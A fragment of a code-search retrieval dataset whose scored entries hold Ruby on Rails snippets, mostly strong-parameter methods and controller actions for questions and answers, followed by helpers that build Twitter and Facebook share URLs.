},
{
"docid": "663fbf0d7c86f60aed3942e3ecd1619d",
"score": "0.55816215",
"text": "def answer_params\n params.require(:answer).permit(:answer)\n end",
"title": ""
},
{
"docid": "73fbdfea31031916285f993c77e56c3d",
"score": "0.5581432",
"text": "def answer_params\n params.require(:answer).permit(:text)\n end",
"title": ""
},
{
"docid": "73fbdfea31031916285f993c77e56c3d",
"score": "0.5581432",
"text": "def answer_params\n params.require(:answer).permit(:text)\n end",
"title": ""
},
{
"docid": "73fbdfea31031916285f993c77e56c3d",
"score": "0.5581432",
"text": "def answer_params\n params.require(:answer).permit(:text)\n end",
"title": ""
},
{
"docid": "ec4f674eebdc7f8c236e5a5aca9b84e4",
"score": "0.55772483",
"text": "def comment_question_params\n params.require(:comment_question).permit(:descripcion, :user_id, :question_id)\n end",
"title": ""
},
{
"docid": "efdb0e808e163b1de764bbba635a9ed9",
"score": "0.5573947",
"text": "def answer_params\n params.require(:answer).permit(:answer, :user_id, :challenge_id)\n end",
"title": ""
},
{
"docid": "a50f82e8b8088947c3bf887e73b0a9f9",
"score": "0.55675143",
"text": "def answer_params\n params.require(:answer).permit(:textAnswer, :active, :imgURL, :pregunta_id, :correct)\n end",
"title": ""
},
{
"docid": "1bfd9ab9be4e589be864303c208eddec",
"score": "0.55657303",
"text": "def comment_params\n params.require(:comment).permit(:text, :question_id)\n end",
"title": ""
},
{
"docid": "0e459d219c5745cdd54d8392150a49a1",
"score": "0.5565033",
"text": "def answer_params\n params.require(:answer).permit(:description)\n end",
"title": ""
},
{
"docid": "bf451e53162682335ed25eeed0e840a5",
"score": "0.5564087",
"text": "def create\n params[:poll][:answers_attributes].each{ |k ,v | v[:answer] = v[:answer].capitalize } if params[:poll][:answers_attributes].present?\n params[:poll][:user_id] = current_user.id\n @poll = Poll.new(poll_params)\n \n respond_to do |format|\n if @poll.save\n format.html { redirect_to @poll, notice: 'Poll was successfully created.' }\n format.json { render action: 'show', status: :created, location: @poll }\n else\n 2.times do\n @poll.answers.build\n end\n format.html { render action: 'new' }\n format.json { render json: @poll.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23738feea8ae115fd03d60843e0cd7c9",
"score": "0.55630475",
"text": "def answer_params\n params.permit(:body, :question_id, :user_id, :accepted, :body_plain, :send_mail)\n end",
"title": ""
},
{
"docid": "54a2ec011ae5b1f16674b4b2698263c4",
"score": "0.5559796",
"text": "def answer_params\n params.require(:answer).permit(:plus, :content, :topic_id)\n end",
"title": ""
},
{
"docid": "c4ddfc563437268b4687ef06cb9cbf53",
"score": "0.555627",
"text": "def answer_params\n params.require(:answer).permit(:plus, :content, :topic_id, :user_id)\n end",
"title": ""
},
{
"docid": "1db16af428bdfd9bdad09f0e77036da3",
"score": "0.5555676",
"text": "def answer_params\n params[:answer].permit(:text)\n end",
"title": ""
},
{
"docid": "ee605d3cdddcafca8bf60026b4c1818b",
"score": "0.5554222",
"text": "def answer_params\n params.require(:answer).permit(:name, :q1, :q2, :q3, :q4, :q5, :q6, :q7, :q8, :q9, :q10, :comment)\n end",
"title": ""
},
{
"docid": "095a3362444d9256f4bc25d03baf5fb2",
"score": "0.554505",
"text": "def comment_reply_params\n params.require(:comment_reply).permit(:comment_id, :description)\n end",
"title": ""
},
{
"docid": "ecdd6582735bf1b353bb6e390bf3e7b9",
"score": "0.55447465",
"text": "def comment_params\n params.require(:comment).permit(:answer,:post_id)\n end",
"title": ""
},
{
"docid": "3e4271b51f49dfb3bbcee7966fede435",
"score": "0.5541974",
"text": "def answer_params\n params[:answer].permit(:description)\n end",
"title": ""
},
{
"docid": "dce7ff3af745b6cf1f4446c8e5310b06",
"score": "0.5538044",
"text": "def answer_params\n params.require(:answer).permit(:description)\n end",
"title": ""
},
{
"docid": "48ce8a11b9855e3033d908ac920c3e93",
"score": "0.5536607",
"text": "def answer_params\n params.require(:answer).permit(:content, :is_correct)\n end",
"title": ""
},
{
"docid": "f2a1f0d0943f1066b4ef29bbcf83d70b",
"score": "0.55316055",
"text": "def create\n @frequently_asked_question = FrequentlyAskedQuestion.new(frequently_asked_question_params)\n\n respond_to do |format|\n if @frequently_asked_question.save\n format.html { redirect_to @frequently_asked_question, notice: 'Frequently asked question was successfully created.' }\n format.json { render :show, status: :created, location: @frequently_asked_question }\n else\n format.html { render :new }\n format.json { render json: @frequently_asked_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ca8b09460aec6744fe9b7a3d9fd50dc",
"score": "0.5529269",
"text": "def create\n @user=current_user\n @question = Question.new(question_params)\n @question.user_id = current_user.id\n # @asking = current_user.askings.all\n #@asking = Question.includes(:askings).find_by(id: params[:id])\n # @question = current_user.questions.new(question_params)\n @question.live_show_id = params[:live_show]\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n format.js {\n ActionCable.server.broadcast(\"public_room\", { :type => \"submit_comment\", :question => @question, :user => @user } )\n #render :nothing => true\n render :text => '$(\"#content\").val(\"\");';\n }\n \n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n format.js{\n # render :text => \"alert('請輸入文字!!');\"\n }\n end\n end\n end",
"title": ""
},
{
"docid": "431c20f39140cebeb3bd95fa37e6e9f9",
"score": "0.5528036",
"text": "def prompt_params\n params.require(:prompt).permit(:writing_prompt)\n end",
"title": ""
},
{
"docid": "23233850891771bb01ed4d71ce9e3ee5",
"score": "0.55188644",
"text": "def ask_question(params={})\n self.questions.create(params).tap do |question|\n if question.valid?\n self.notifications.create(\n user: self.opposite_party_to(question.user),\n properties: {\n key: \"bookings.notify.asked\",\n tool_name: self.tool.display_name,\n question: question.body.truncate(100),\n booking_id: id\n }\n )\n end\n end\n end",
"title": ""
},
{
"docid": "3f33f393871d503bc57659bcda63ca3c",
"score": "0.55120367",
"text": "def comment_params\n params.require(:comment).permit(:title, :body, :user_id, :challenge_id, :replies, :timestamp)\n end",
"title": ""
},
{
"docid": "8c51daf9bcc34f90d57141ad801a343e",
"score": "0.55120105",
"text": "def question_comment_params\n params[:question_comment]\n end",
"title": ""
},
{
"docid": "efcd1c5d39134617f99541f14b75f569",
"score": "0.5511733",
"text": "def answer_params\n params.require(:answer).permit(:description,:correct);\n end",
"title": ""
},
{
"docid": "a80c489bc82d1ff2e48693aeb4dd8665",
"score": "0.54952615",
"text": "def comment_params\n params.require(:comment).permit(:reply)\n end",
"title": ""
},
{
"docid": "6b645b8c3312dd279fd4ddd49555229a",
"score": "0.5494102",
"text": "def answer_params\n params.require(:answer).permit(:body)\n end",
"title": ""
},
{
"docid": "bc09114bd6e05e491a216ab7ddf8530c",
"score": "0.5493989",
"text": "def create\n\t\t@user = User.find(session[:user_id])\n puts \"X\" * 50\n puts params[:question_id]\n\t\t@question = Question.find(params[:question_id])\n puts @question\n\t\t@answer = Answer.new(answer_params)\n\t\t@question.answers << @answer\n\t\t@answer.update(responder_id: @user.id)\n @answer.update(user_id: @user.id)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n\n\tend",
"title": ""
},
{
"docid": "8a9599bdf80bf671fa7a3977e89e2cab",
"score": "0.54921895",
"text": "def create\n @answer = Answer.new(answer_params)\n @poll_questions = PollQuestion.all\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a334f19618dab32898f1887598140a3",
"score": "0.5485627",
"text": "def answer_params\n params.require(:answer).permit(:description, :question_id, :user_id, :accepted)\n end",
"title": ""
},
{
"docid": "ca135db6846e2a04577e4eaaae4340d1",
"score": "0.5482286",
"text": "def to_live_question_params\n params.require(:to_live_question).permit(:title, :body, answers_attributes: [:id, :answer, :choose, :correct])\n end",
"title": ""
},
{
"docid": "351d4729ecd4639f0f14725a59d8d134",
"score": "0.5480295",
"text": "def question_params\n params.require(:question).permit(:is_gamified, :question_id, :to_ask)\n end",
"title": ""
},
{
"docid": "773372fb94db2588931327c3157b72a9",
"score": "0.5478084",
"text": "def potential_answer_params\n params.required(:potential_answer).permit(:question_id, :answer)\n end",
"title": ""
},
{
"docid": "074a8493820e11200f205c10116e68d5",
"score": "0.5477873",
"text": "def answer_params\n params.require(:answer).permit(:title, :is_correct, :question_id)\n end",
"title": ""
},
{
"docid": "7f6413fca2eeb60786f5c38e68aaa36a",
"score": "0.54772097",
"text": "def question_params\n params.permit(:content, :answer)\n end",
"title": ""
},
{
"docid": "3e4ca2dca88b5dd5a9cf428c2df6ce94",
"score": "0.54767644",
"text": "def answer_params\n params.permit(:body, :user_id, :question_id)\n end",
"title": ""
},
{
"docid": "3e4ca2dca88b5dd5a9cf428c2df6ce94",
"score": "0.5475084",
"text": "def answer_params\n params.permit(:body, :user_id, :question_id)\n end",
"title": ""
},
{
"docid": "1c7d671af02ceb034b8ca8873f2bf181",
"score": "0.5467079",
"text": "def answer_params\n params.require(:answer).permit(:question, :answer)\n end",
"title": ""
},
{
"docid": "e68ef333075979faa0d4f875455959a5",
"score": "0.5463969",
"text": "def create\n params[:competitiveness][:question].each do |k, v|\n answer = Answer.new\n answer.user_id = params[:competitiveness][:user_id]\n answer.question_id = k;\n answer.answer = v;\n answer.save\n end\n respond_to do |format|\n format.html { redirect_to answers_path, notice: 'Questionário criado com sucesso.' }\n format.json { render :index, status: :created, location: @answer }\n end\n end",
"title": ""
},
{
"docid": "68a00c28ec170a4f1036e07301642f0a",
"score": "0.54621375",
"text": "def question_params\n params.require(:question).permit(:question, :required_answer)\n end",
"title": ""
},
{
"docid": "8ad7e308d0cd289285f5b71eb6ab4249",
"score": "0.5460392",
"text": "def answer_params\n params.require(:answer).permit(:username, :content, :upvote)\n end",
"title": ""
},
{
"docid": "e2869e04922fe4683f07f52eb0bcea08",
"score": "0.54582965",
"text": "def create\n @comment = @answer.comments.build(params[:comment])\n @comment.user_id = user_id\n\n respond_to do |format|\n if @comment.save\n format.html { redirect_to(@question) }\n format.js\n format.xml { render :xml => @comment, :status => :created, :location => @comment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5fdcbd7c3923ed7a7eec53a30a563da5",
"score": "0.5453718",
"text": "def answer_params\n\t\t\tparams[:answer].permit(:body, :question)\n end",
"title": ""
},
{
"docid": "ac033baaa4e86a7bf555588cbc6b60f0",
"score": "0.5453114",
"text": "def potential_answer_params\n params.require(:potential_answer).permit(:question_id, :answer)\n end",
"title": ""
},
{
"docid": "3df4f3c338a1c3242b87fe0f63bd4f66",
"score": "0.544976",
"text": "def create\n @prompt = Prompt.new(params[:prompt])\n\n respond_to do |format|\n if @prompt.save\n format.html { redirect_to(@prompt, :notice => 'Prompt was successfully created.') }\n format.xml { render :xml => @prompt, :status => :created, :location => @prompt }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prompt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d85b4da23e4acb8c512f28669cd6bb5",
"score": "0.54472333",
"text": "def answering\n @parent = Post.find(params[:parent_id])\n body = params[:body]\n subject = body.length > 100 ? \"#{body[0..100]}...\" : body\n @post = Post.new(:subject => subject,\n :body => params[:body], \n :parent_id => params[:parent_id], \n :course_id => @parent.course_id,\n :author_id => current_user.id,\n :post_type => 'answer')\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to post_url(@post.origin, :anchor => \"post-#{@post.id}\"), :flash => { :success => \"Thanks for your answer.\" } }\n format.json { render json: @post.parent }\n else \n format.html { redirect_to redirect_url, :flash => { :error => \"Something went wrong. Please try again.\" } }\n format.json { render json: @post.parent.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
09b17caf8ec593503e29a26aa7e56e24
|
Twitter social sharing URL snippet built from
|
[
{
"docid": "e3fe43052129b9aa5d7724353d7d6507",
"score": "0.7414494",
"text": "def twitter_share_url(opts = {})\n page_url = opts.fetch(:url, request.original_url)\n message = opts.fetch(:message, '')\n\n page_url = CGI.escape(page_url)\n share_url = \"https://twitter.com/intent/tweet/?url=#{page_url}\"\n share_url += \"&text=#{CGI.escape(message)}\" if message.present?\n\n share_url\n end",
"title": ""
}
] |
[
{
"docid": "dd604a62efc8ee932eda91cfb6eb1179",
"score": "0.7891984",
"text": "def tweet_share listing\n \"https://twitter.com/share?url=\" + get_url(listing) # https%3A%2F%2Fdev.twitter.com%2Fpages%2Ftweet-button\n end",
"title": ""
},
{
"docid": "e55757afcf02e076da22d1b0d7bbfcc5",
"score": "0.7832294",
"text": "def twitter_url; \"https://twitter.com/#{twitter}\" end",
"title": ""
},
{
"docid": "6681413576651152a8daed63592a5937",
"score": "0.76738405",
"text": "def twitter_share_link(url, title)\n #return '<a href=\"http://twitter.com/share\" class=\"twitter-share-button\" data-url=\"' + url + '\" data-text=\"' + title + '\" data-count=\"none\" data-via=\"tomsoderlund\">Tweet</a><script type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"></script>'\n #https://twitter.com/share?original_referer=http%3A%2F%2Flocalhost%3A3000%2Fthings%2F21-ferrari-california&source=tweetbutton&text=Ferrari%20California%20on%20Thingspotter&url=http%3A%2F%2Flocalhost%3A3000%2Fthings%2F21-ferrari-california&via=tomsoderlund\n title = title.sub(\"Thingspotter\", \"#Thingspotter\")\n twitter_url = \"https://twitter.com/share?source=tweetbutton&text=#{CGI::escape(title)}&url=#{CGI::escape(url)}&original_referer=#{CGI::escape(title)}\"\n return link_to('', twitter_url, :target => 'blank', :class => 'ts_icon_social ts_twitter')\n end",
"title": ""
},
{
"docid": "2753c7ab74cbaef82843751cf43ccbdd",
"score": "0.76654446",
"text": "def twitter_share_url(idea)\n body = CGI.escape(\"Check out my business idea on #proto - #{idea.title} - #{request.original_url}\")\n return \"http://twitter.com/intent/tweet?status=#{body}\"\n end",
"title": ""
},
{
"docid": "9371b383c810b187749c507f84cead4f",
"score": "0.7553476",
"text": "def twitter_share_url(options = {})\n \"https://twitter.com/share?text=#{CGI.escape(options[:text])}&url=#{CGI.escape(options[:url])}\"\n end",
"title": ""
},
{
"docid": "c3c6a817fc1e3776728d80351c2a2ebe",
"score": "0.7450137",
"text": "def twitter_share_url(topic)\n qs = {\n :status => \"#{topic.title} - #{topic_url(topic)}\"\n }\n \"http://twitter.com/home?#{qs.to_param}\"\n end",
"title": ""
},
{
"docid": "1dd01b47744aed893f3a136bcefe9c88",
"score": "0.7304434",
"text": "def twitter_url_for_post( post )\n \"http://twitter.com/home/?status=#{post_short_url(post.id)} #{post.title}\"\n end",
"title": ""
},
{
"docid": "11c8ec16cb7ca396a39fef4ad550a6d3",
"score": "0.71891093",
"text": "def base_twitter_url(bookmark)\n url_with_query_parameters(bookmark_shortlink_url(bookmark), [['utm_medium', 'twitter'], ['redirect', '1']])\n end",
"title": ""
},
{
"docid": "5ff1ae54951769421914d5aba6d67933",
"score": "0.7181437",
"text": "def get_social_sharing_links(social_media)\n \"https://www.facebook.com/sharer/sharer.php?t=#{@post.title}&u=#{post_url(@post)}\" if social_media == \"facebook\"\n #\"https://plus.google.com/share?url=#{post_url(@post)}&t=#{@post.title}\" if social_media == \"google_plus\"\n end",
"title": ""
},
{
"docid": "5da034dd923d13d59d36458e896a66fc",
"score": "0.71382344",
"text": "def twitter_link\n \"http://twitter.com/#{self.twitter_username}\"\n end",
"title": ""
},
{
"docid": "5868509b99ba3155ce6b15f9f7857bed",
"score": "0.708676",
"text": "def twitter_url\n \"http://twitter.com/#{self.twitter_name}\" if self.twitter_name\n end",
"title": ""
},
{
"docid": "561edc823eee02defa14b0668601b7e8",
"score": "0.7071894",
"text": "def schrink_url\n return unless url.match?(/\\A(https:\\/\\/twitter.com\\/)/)\n\n party_url = \"https://is.gd/create.php?format=simple&url=#{url}\"\n r = HTTParty.post(party_url)\n self.short_url = (200..299).cover?(r.code) ? r.parsed_response : 'VeryshortURL'\n end",
"title": ""
},
{
"docid": "2c311888845225632f2790191d8855b5",
"score": "0.7031613",
"text": "def twitter_url\n \"#{TWITTER_BASE}/#{twitter}\" unless twitter.blank?\n end",
"title": ""
},
{
"docid": "0e70a4f38f31111881b8e7dae0259710",
"score": "0.70288295",
"text": "def twitter_url\n Settings.twitter_url\n end",
"title": ""
},
{
"docid": "741f8977694b8a25d6a03047e9a53b9d",
"score": "0.70264256",
"text": "def share_twitter_popup_url(bookmark)\n base_url = base_twitter_url(bookmark)\n new_params = [['via', 'wundermarks']]\n new_params << ['text', bookmark.title]\n new_params << ['hashtags', bookmark.tag_list.join(',')] if bookmark.tag_list.size > 0\n new_params << ['url', base_url]\n\n url_with_query_parameters(\"https://twitter.com/intent/tweet\", new_params)\n end",
"title": ""
},
{
"docid": "b5e0a5dad845a30e0cda9e509c3556cd",
"score": "0.69839734",
"text": "def facebook_share_url(topic)\n qs = {\n :u => topic_url(topic),\n :t => topic.title\n }\n \"http://www.facebook.com/sharer.php?#{qs.to_param}\"\n end",
"title": ""
},
{
"docid": "62f18805c5a72286df7e436ee8d13944",
"score": "0.69652486",
"text": "def html_url_for( tweet )\n tweet.destinationurl\n end",
"title": ""
},
{
"docid": "b215c068d889d91d4ce2202caaad35bf",
"score": "0.69592816",
"text": "def format_for_twitter\n url = shorten_url \"http://#{URL_BASE}/track/show/#{track.id}\"\n non_message_len = track.name.length + 2 + 1 + url.length\n message = replace_for_view(description, unlinked = true).chomp.strip\n track.name + ': ' + message[0, 140 - non_message_len] + ' ' + url\n end",
"title": ""
},
{
"docid": "42302432d37c9a38d0ad9476d0463bd4",
"score": "0.6942349",
"text": "def twitter_script\n if not @config[:twittershare]\n return \"\"\n end\n %{\n <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>\n }\nend",
"title": ""
},
{
"docid": "27b079c666db287b94de77bcff7c743e",
"score": "0.6924986",
"text": "def twitterize(string)\n string.gsub!(/\\b(((http:|https:|file:)\\/\\/)?([a-z]+\\.)?(\\w+\\.com|net|org)(\\/.*)?)\\b/) do\n \"<a href='#{\"http://\" unless $1.include?('http://')}#{$1}'><span>#{$1}</span></a>\"\n end\n string.gsub!(/@(\\w*)/, '@<a href=\"http://twitter.com/\\1\"><span>\\1</span></a>')\n string = auto_link(string)\n string = RubyPants.new(string).to_html\n spanify_links(string)\n end",
"title": ""
},
{
"docid": "27c136846fbc90db4d9e5adc72fb5489",
"score": "0.6897966",
"text": "def social_share_link(ont, sharer)\n return <<-HTML\n <a href='javascript:;' \n aria-label='Share on #{sharer}'\n title='Share on #{sharer}'\n style='margin-left: 0.5rem'\n data-sharer='#{sharer.downcase}'\n data-title='#{ont.name}'\n data-url='#{CGI::escapeHTML($UI_URL + ontology_path(ont.acronym))}'>\n <i class=\"fab fa-lg fa-#{sharer.downcase}\"></i>\n </a>\n HTML\n .html_safe\n end",
"title": ""
},
{
"docid": "3343f530ba791cabc13ffd4b5a66a389",
"score": "0.6874284",
"text": "def oembed_url\n 'https://api.twitter.com/1/statuses/oembed.json?align=center' \\\n \"&url=#{source_url}\"\n end",
"title": ""
},
{
"docid": "00e110ad1179e40974c134e2fd810b2c",
"score": "0.68669903",
"text": "def facebook_share_url\n \"http://www.facebook.com/sharer/sharer.php?u=#{request.original_url}\"\n end",
"title": ""
},
{
"docid": "5eff899476b900346fe7aa4e2be15ca8",
"score": "0.6849655",
"text": "def twitter_url_for(username)\n \"http://twitter.com/#{username}\"\n end",
"title": ""
},
{
"docid": "79732fefb0ca1c86f5229be5ea538f8b",
"score": "0.68361104",
"text": "def tweet_button( options = {} )\n data_url = options[:url] ? \"data-url=\\\"#{options[:url] }\\\"\" : \"\"\n data_count = options[:count] ? options[:count] : \"none\"\n data_lang = options[:lang] ? \"data-lang=\\\"#{options[:lang] }\\\"\" : \"\"\n tweet_label = options[:text] || 'Tweet'\n return %(\n<a href=\"http://twitter.com/share\" class=\"twitter-share-button\" #{data_url} data-count=\"#{data_count}\" data-via=\"#{options[:via]}\" data-related=\"#{options[:related]}\" #{data_lang}>#{tweet_label}</a>\n<script type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"></script>\n ).html_safe\n end",
"title": ""
},
{
"docid": "8c8918e11b368b95d7d47e1dfa986751",
"score": "0.6792303",
"text": "def generate_tweet_content(nweet)\n current_user.autotweet_content.gsub(/\\[LINK\\]/, nweet_url(nweet))\n end",
"title": ""
},
{
"docid": "beff30304d42d2d7e6d80f3a00db297f",
"score": "0.6779894",
"text": "def short_url(url, twitter=false)\n ApplicationHelper.short_url( url, twitter )\n end",
"title": ""
},
{
"docid": "6c1dedd8fb61ec6f7eb7765d28f20410",
"score": "0.67453724",
"text": "def sharing_links\n url = ERB::Util.url_encode request.original_url.split('/', 3)[2]\n\n tag.div class: 'sharing_links' do\n concat tag.div I18n.translate('articles.share'), class: 'sharing_links__title'\n sharing_urls.each do |type, link|\n concat tag.a (tag.span class: \"icon icon--#{type} icon\"), class: 'sharing_links__item', href: link.gsub('%{url}', url)\n end\n end\n end",
"title": ""
},
{
"docid": "dc926534decce34ee9cbc0fe5ca1335b",
"score": "0.67402154",
"text": "def linked_in_share_url(topic)\n qs = {\n :mini => true,\n :url => topic_url(topic),\n :title => topic.title,\n :source => root_url\n }\n \"http://www.linkedin.com/shareArticle?#{qs.to_param}\"\n end",
"title": ""
},
{
"docid": "2014e66171b7dfb5fe299a6f01d96ffa",
"score": "0.6735953",
"text": "def tweet_this_link(post)\n \"http://twitter.com/?status=#{URI.escape(\"RT @#{@preferences[:twitter_username]} #{truncate(post.body, :length => 40)} #{post.short_url}\", Regexp.new(\"[^#{URI::PATTERN::UNRESERVED}]\"))}\"\n end",
"title": ""
},
{
"docid": "fce8b75549d1fe470d7b9dd6dab5b9d8",
"score": "0.6732102",
"text": "def twitter_url\n twitter_daily_deal_url(daily_deal, :host => publisher.daily_deal_host)\n end",
"title": ""
},
{
"docid": "1070bef76fac732f80c69aea58d88e1c",
"score": "0.67254657",
"text": "def tweet_url tweet\n \"https://twitter.com/#{tweet.user.uid}/status/#{tweet.tid}\"\n end",
"title": ""
},
{
"docid": "abecd2aa525ec702fc1d52748a9b1a7b",
"score": "0.6706744",
"text": "def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/track/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"title": ""
},
{
"docid": "abecd2aa525ec702fc1d52748a9b1a7b",
"score": "0.6706744",
"text": "def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/track/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"title": ""
},
{
"docid": "49359f1d9ea96e170eb8337badb8e494",
"score": "0.67056626",
"text": "def parse_tweet(tweet)\n oembeds = []\n # link urls:\n re = Regexp.new('(^|[\\n ])([\\w]+?://[\\w]+[^ \\\"\\n\\r\\t<]*)')\n # find urls through redirects\n urls = []\n tweet.scan(re) do |s|\n # find final url\n url = fetch(s[1])\n # replace url with found url\n urls << [s[1], url]\n end\n # do url link replacements\n urls.each do |url|\n # test each url for oembed data\n oohembed_url = \"http://oohembed.com/oohembed/?url=#{url[1]}\"\n resp = Net::HTTP.get_response(URI.parse(oohembed_url))\n if resp.code == '200' && resp.body.length > 0\n oembeds << resp.body\n end\n # replace urls with links\n tweet.gsub!(url[0], \"<a href=\\\"#{url[0]}\\\" title=\\\"#{CGI.escapeHTML(url[1])}\\\">#{shorten_url(url[1])}</a>\")\n end\n # link usernames\n re = Regexp.new('(\\@)([\\w]+)')\n tweet.gsub!(re, '<a href=\"http://twitter.com/\\2\">@\\2</a>')\n # link hashtags (needs to start the string or have a space before so we don't link #s in urls)\n re = Regexp.new('(\\s|^)(\\#)([\\w]+)')\n tweet.gsub!(re, '\\1<a href=\"http://twitter.com/search/%23\\3\">#\\3</a>')\n # return tweet and any oembed data\n [tweet, oembeds]\nend",
"title": ""
},
{
"docid": "96d4c44ea949e0f4e3bdac9e78d19fd4",
"score": "0.6704745",
"text": "def twitter_url\n twitter_user.blank? ? nil : \"#{TWITTER_URL}#{twitter_user}\"\n end",
"title": ""
},
{
"docid": "96d4c44ea949e0f4e3bdac9e78d19fd4",
"score": "0.6704745",
"text": "def twitter_url\n twitter_user.blank? ? nil : \"#{TWITTER_URL}#{twitter_user}\"\n end",
"title": ""
},
{
"docid": "cebd2d70198abc5ff6d97903286638f7",
"score": "0.6690134",
"text": "def facebook_share_url(opts = {})\n page_url = opts.fetch(:url, request.original_url)\n\n page_url = CGI.escape(page_url)\n share_url = \"https://facebook.com/sharer/sharer.php?u=#{page_url}\"\n\n share_url\n end",
"title": ""
},
{
"docid": "e38c3553410cb45f9d7dc5adcdee15f2",
"score": "0.6681906",
"text": "def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/area/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"title": ""
},
{
"docid": "7bff6c47a77171f6acbcd4b47d4f0faa",
"score": "0.6674512",
"text": "def source_url\n handle, tweet_id = @element.embed_id.split('/', 2)\n \"https://twitter.com/#{handle}/status/#{tweet_id}\"\n end",
"title": ""
},
{
"docid": "f35228e72ec31dffa1afeee126e04423",
"score": "0.66231203",
"text": "def render_tweet(nweet)\n current_user.autotweet_content.gsub(/\\[LINK\\]/, nweet_url(@nweet))\n end",
"title": ""
},
{
"docid": "f35228e72ec31dffa1afeee126e04423",
"score": "0.66231203",
"text": "def render_tweet(nweet)\n current_user.autotweet_content.gsub(/\\[LINK\\]/, nweet_url(@nweet))\n end",
"title": ""
},
{
"docid": "9c93aec85214a008916d0d2b404cb27e",
"score": "0.6614163",
"text": "def twitter_link\n @twitter_link ||= APPLICATION_CONFIG['twitter_link']\n end",
"title": ""
},
{
"docid": "9f8ba6869dff670b7e007cea063a8a9d",
"score": "0.6610739",
"text": "def post_share_href(post)\n \"#{base_url}#{blog_post_href(post)}\"\n end",
"title": ""
},
{
"docid": "65747461856b40eaa15be1ed629b56bb",
"score": "0.6592045",
"text": "def profile_url\n \"http://twitter.com/#{self.screen_name}\"\n end",
"title": ""
},
{
"docid": "65747461856b40eaa15be1ed629b56bb",
"score": "0.6592045",
"text": "def profile_url\n \"http://twitter.com/#{self.screen_name}\"\n end",
"title": ""
},
{
"docid": "083946d07b95ac1d4fe5ab6bfa24827d",
"score": "0.6585217",
"text": "def make_link_tweet(title, longlink, via=nil)\n\t\t\tif longlink.match(/http:\\/\\/bit\\.ly/)\n\t\t\t\tlink = longlink\n\t\t\telse \n\t\t\t\tlink = LinkShortener.shorten(longlink).short_url\n\t\t\tend\n viastr = \" (via @#{via})\"\n\n title_constraint = 140-link.length-1\n title_constraint -= viastr.length unless via.nil?\n return \"#{truncate(title, title_constraint)} #{link}\" + (via.nil? ? '' : viastr)\n end",
"title": ""
},
{
"docid": "1066e17800ede3a0bd2ad35bcd4ab35a",
"score": "0.65769404",
"text": "def twitter_caption\n if text\n return text[0,120] + \" http://picbounce.com/#{code}\"\n else\n return \"http://picbounce.com/#{code}\"\n end\n end",
"title": ""
},
{
"docid": "f1c0a236cb5021a50aa1e0b2766bb604",
"score": "0.65736866",
"text": "def twitter\n name = 'Twitter'\n icono = 'twitter'\n return SocialNetwork.new(name, twitter_url, icono)\n end",
"title": ""
},
{
"docid": "94317347a233d87d1ddfbcae9d051e14",
"score": "0.65620697",
"text": "def format_for_twitter(message)\n url = shorten_url \"http://#{URL_BASE}/region/show/#{id}\"\n message[0, 140 - 1 + url.length] + ' ' + url\n end",
"title": ""
},
{
"docid": "d27b6913363df4f7d3ed6d92b7cc4370",
"score": "0.6543997",
"text": "def link_attributes_for_tweet(tweet)\n if tweet.uris.present?\n {\n url: tweet.uris.first.expanded_url,\n note: tweet.text,\n source: Link::SOURCES[:twitter],\n source_id: tweet.id,\n source_uid: tweet.user.id,\n saved_at: tweet.created_at,\n user_id: self.user_id\n }\n end\n end",
"title": ""
},
{
"docid": "97ff12b22e39a44a11f5097bc4404388",
"score": "0.649678",
"text": "def make_url\n # This works for most of the twitter calls\n \"http://twitter.com/#{resource_path}/#{twitter_user_id}.json?page=#{page||1}\"\n end",
"title": ""
},
{
"docid": "a18b0f58cd791b97113445dcc4da5785",
"score": "0.6490154",
"text": "def link_urls(tweet)\n tweet.gsub(/([A-Z]+:\\/\\/[^\\s]+)/i, '<a href=\"\\1\">\\1</a>')\n end",
"title": ""
},
{
"docid": "b3787bb33adaa27f330ba16b57542824",
"score": "0.6488697",
"text": "def twitter_share_button(options={})\n options = Hash[options.map {|k, v| [\"data-#{k}\", v] }]\n options.merge!({:href => 'https://twitter.com/share', :class => 'twitter-share-button'})\n\n content_tag :a, 'Tweet', options\n end",
"title": ""
},
{
"docid": "2f7d09cd72448dea2df31af317e13133",
"score": "0.648626",
"text": "def twitter_pic_url\n \"#{attachment_url}:medium\" if !attachment_url.to_s.scan(TWITTER_PIC).empty?\n end",
"title": ""
},
{
"docid": "9095f759405f6c34d0558259fcced5aa",
"score": "0.64737314",
"text": "def facebook_url; \"https://facebook.com/#{facebook}\" end",
"title": ""
},
{
"docid": "7b3d55c8cf8db1302d9511bc502a1e95",
"score": "0.6465933",
